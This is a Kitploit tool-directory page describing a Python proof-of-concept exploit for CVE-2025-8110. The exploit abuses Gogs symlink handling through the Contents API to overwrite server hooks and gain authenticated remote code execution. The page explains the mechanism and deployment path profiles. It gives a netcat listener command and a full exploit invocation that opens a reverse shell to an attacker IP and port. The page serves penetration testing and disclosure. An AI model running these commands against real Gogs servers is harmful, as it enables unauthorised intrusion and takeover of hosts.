Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-8110 — Python PoC exploit for CVE-2025-8110, abusing Gogs symlink handling via the Contents API to overwrite hooks and achieve authenticated remote code execution. | Kitploit
Tools/GitHubGitHub/kur0bai/cve-2025-8110
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubkur0bai/cve-2025-8110

CVE-2025-8110

Python PoC exploit for CVE-2025-8110, abusing Gogs symlink handling via the Contents API to overwrite hooks and achieve authenticated remote code execution.

View Repository
1Nov 29, 2026Not yet reviewed
Share

CVE-2025-8110: Gogs Symlink RCE Exploit PoC

Overview of CVE-2025-8110

CVE-2025-8110 is a critical vulnerability affecting Gogs (a painless self-hosted Git service). The flaw stems from insufficient validation when handling file operations and Git features combined with the Gogs Contents API.

An authenticated attacker can leverage Git symbolic links (symlinks) inside a repository. By pushing a repository containing a symbolic link pointing to sensitive system or repository paths (such as repository post-receive hooks, SSH authorized_keys, or cron files) and writing through the Gogs API, an attacker can overwrite critical server files. This results in Remote Code Execution (RCE) on the host running Gogs.


Deployment Profiles Support

The script supports multiple server layout configurations via the --deploy argument:

  • docker: Official Gogs Docker container (/data)
  • linux-pkg: Package installation (.deb / .rpm under git user)
  • linux-src: Built from source under gogs user
  • root, home, opt: Common alternative installation paths
  • custom: Fully custom paths using --repo-base and --gogs-home

Quick Start Guide

Prerequisites

Ensure Python 3 and the requests library are installed:

pip install requests

Usage Instructions

You can run the exploit script against a target Gogs instance using the options below:

python3 CVE-2025-8110.py --url <GOGS_URL> -u <USERNAME> -p <PASSWORD> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>

Common Parameters:

  • -url: The base URL of the target Gogs instance (e.g., https://target-gogs.com).

  • -u, --username: Gogs username for authentication.

  • -p, --password: Gogs password.

  • --register: Automatically register the user account on the target before running the exploit.

  • -lh, --lhost: Local host / listener IP for the reverse shell.

  • -lp, --lport: Local port for the listener.

  • --deploy: The server deployment profile (docker, linux-pkg, linux-src, root, home, opt, or custom). Defaults to docker.

  • -v, --verbose: Enable verbose output to inspect candidate paths and debug logs.

Example

Start a netcat listener on your machine:

nc -lvnp 4444

Run the exploit against your target:

python3 CVE-2025-8110.py --url "https://target-gogs.com" -u gogs -p BestS3cure123! --register -lh 10.10.17.272 -lp 4444 --deploy docker -v

Disclaimer

The information and script provided in this repository are strictly for educational purposes, authorized security testing, and defensive research. The author and contributors assume no liability and are not responsible for any misuse or damage caused by this material. Users must ensure they have explicit, written permission from the system owners prior to testing or interacting with any environment.

Download Tool

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    739
  • 3

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    585
  • 4

    opencti

    opencti-platform/opencti

    Open Cyber Threat Intelligence Platform

    550
  • 5

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    409

Explore all tools

Browse our collection of tools

View all tools →